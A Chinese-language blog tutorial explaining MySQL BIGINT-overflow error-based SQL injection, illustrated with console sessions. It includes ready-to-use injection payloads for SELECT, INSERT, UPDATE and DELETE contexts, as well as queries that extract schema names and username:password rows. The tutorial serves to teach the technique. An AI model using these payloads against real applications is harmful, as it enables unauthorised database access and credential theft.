【技术文章】mysql大整数溢出报错--教科书般的注入教程

admin 2021年7月13日00:38:39评论114 views字数 5382阅读17分56秒阅读模式

【技术文章】mysql大整数溢出报错--教科书般的注入教程

早上了刷推特,看到mysql的一个新型报错。就过去看了看。
注入方式倒不是很新颖,主要内容挺充实的。适合新手学习。建立起框架体系。就翻译下关键点,随便谈谈自己的理解吧。

作者:Osanda Malith
是的,exploit-db 那篇 mysql insert delete update 注入的paper就是他写的。14年5月。作者授人以渔,从挖掘到最大利用化详细的给我们讲解了一个报错注入的exploit。


mysql版本限制:MySQL versions 5.5.5 and above only.

首先从sql的数据类型说起,这里用到的是一些整数:

【技术文章】mysql大整数溢出报错--教科书般的注入教程

# In decimal  mysql> select 18446744073709551615+1; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'  # In binary  mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'  # In hex  mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'


我们发现用10进制,2进制和16进制测试,均溢出。
接着我们为了省写,可以用按位取反0来等价bigint的最大正数边界。

mysql> select ~0; +----------------------+ | ~0                   | +----------------------+ | 18446744073709551615 | +----------------------+ 1 row in set (0.00 sec)

上面的2处回显比较有意思,可以思考下。

接着我们用一个非集合的一个特性:

mysql> select (select*from(select user())x); +-------------------------------+ | (select*from(select user())x) | +-------------------------------+ | root@localhost                | +-------------------------------+ 1 row in set (0.00 sec)  # Applying logical negation  mysql> select !(select*from(select user())x); +--------------------------------+ | !(select*from(select user())x) | +--------------------------------+ |                              1 | +--------------------------------+ 1 row in set (0.00 sec)


【技术文章】mysql大整数溢出报错--教科书般的注入教程


这里我自己拓展测试后总结一下,我们 !字符串 = 1, !数字 = 0,当然贱贱的数学都是有特例的  !0 = 1 


根据上面2点,我们就可以来构造我们的注入了。剩下的就只是加法减法的问题了.

mysql> select ~0+!(select*from(select user())x); ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

上面我们可以看到,bigint最大值+1 回显出表达式。这里我们可以这样理解,我们做加减乘除,运算法则首先乘除是吧。
这里的子查询就类似乘除.那么可靠的回显得到,下面就是我最喜欢的花式玩法了。向来我的目标是一个error注入出整个table。

同样我们也可以下边界溢出。为什么这么做,在mysql测试时,我们加法减法溢出都可以的。但是在web应用中我们很多时候+被url解码成一个空格,所以用减号显然更方便嘛。
下面是作者构造的几个payload。当然,我们私下可以构造更多,特别是怎么把select消去。大家自己去玩耍吧。

!(select*from(select user())x)-~0   # 1-最大值   (select(!x-~0)from(select(select user())x)a)    (select!x-~0.from(select(select user())x)a) 

一般注入分为4个方向:select insert delete update. 然后就是注入点的各种位置。老生常谈,不再赘述.
比较万能的字符payload:
' or  !(select*from(select user())x)-~0 or '

上面4种注入随便往输入点丢。(数字型相应调整,更简单)

mysql> select host from mysql.user where 1=1 ; +---------------+ | host          | +---------------+ | 127.0.0.1     | | 192.168.1.%   | | 192.168.1.228 | | ::1           | | localhost     | | localhost     | | localhost     | | repo          | +---------------+ 8 rows in set (0.00 sec)  mysql> select host from mysql.user where 1='' or !(select*from(select user())x)-~0 or '' ; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))' mysql> update mysql.user set host='' or !(select*from(select user())x)-~0 or '' where host='repo'; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))' mysql> insert into mysql.user (host) values ('' or !(select*from(select user())x)-~0 or '') ; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))' mysql> delete from mysql.user where host='' or !(select*from(select user())x)-~0 or ''; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

注意上面都是1-最大值=下边界溢出的情况
根据我们上面的公式,可以知道有种情况不能注入出。比如注入处结果数字,比如蛋疼用length函数啊,密码是数字啊,不一而足.

mysql> select host from mysql.user where 1='' or !(select*from(select length(user()))x)-~0 or '' ;

作为强迫症,这种情况肯定不能忍受.所以有了下面的改进版payload.

select !atan((select*from(select user())a))-~0;  select !log((select*from(select user())a))-~0; select !floor((select*from(select user())a))-~0;

相应的字符万能payload:
' or !atan((select*from(select user())a))-~0 or '

下面就是实际生产如何获取数据了.
老生常谈:

#获取表名 !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 #获取列名 select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0; 获取数据: !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

获取每行,用好limit.

【技术文章】mysql大整数溢出报错--教科书般的注入教程



上面那个table很熟悉呀,我赌一毛钱是Osanda Malith一年前讲解insert等注入用的table。


接着就是我们的终极目标,一个error注入点,我还你整个table;
然而现实是残酷的,由于mysql的特性,吃掉了一部分结果。输出的不是很全。(所以oracle和mssql很有优越性啊)
当然,如果注入点事union base的。mysql的返回也是很全的.这篇文章我们只谈error base.
下面是作者的payload,用的时候稍微改改就好了

!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0  (select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)  (select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

作者萌萌哒的用控制变量法做了2次实验。得到数据的行数与table数据成正相关.(做完类似实验后,我同意他的说法)

作者总结到,不一定只能用取反,不一定只能用加减法。只要上下溢出bigint,就可以子查询出结果。下面是他手贱异或算法的结果.(为什么手贱,因为劳资看了会,结果推出了悖论,纠结了半小时)

mysql> select !1-0^222; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))' mysql> select !(select*from(select user())a)-0^222; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

注意^不是幂算法,是按位异或的意思。先列成二进制, 然后看起来就很明了.
我的脑残测试:

select 225-0^222;#输出3,我理解为 等价225-222=3 select 1-0^222 ;不应该 = 1-222=-221么  可以mysql他喵的溢出 最后测试是只要前面数字小于222就他喵的溢出,难道是个以222为界的分界函数?

算了,不管了.路过的大神明白的帮我解释下哈.

相关资料:https://osandamalith.wordpress.c ... ased-sql-injection/

顺便给出osanda malith以前的文章吧.oracle,mssql也可以这种花样玩法的. 有机会整理下.发出来
大牛以前的paper:https://www.exploit-db.com/docs/33253.pdf


【技术文章】mysql大整数溢出报错--教科书般的注入教程


本文始发于微信公众号(T00ls):【技术文章】mysql大整数溢出报错--教科书般的注入教程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月13日00:38:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术文章】mysql大整数溢出报错--教科书般的注入教程https://cn-sec.com/archives/351542.html

发表评论

匿名网友 填写信息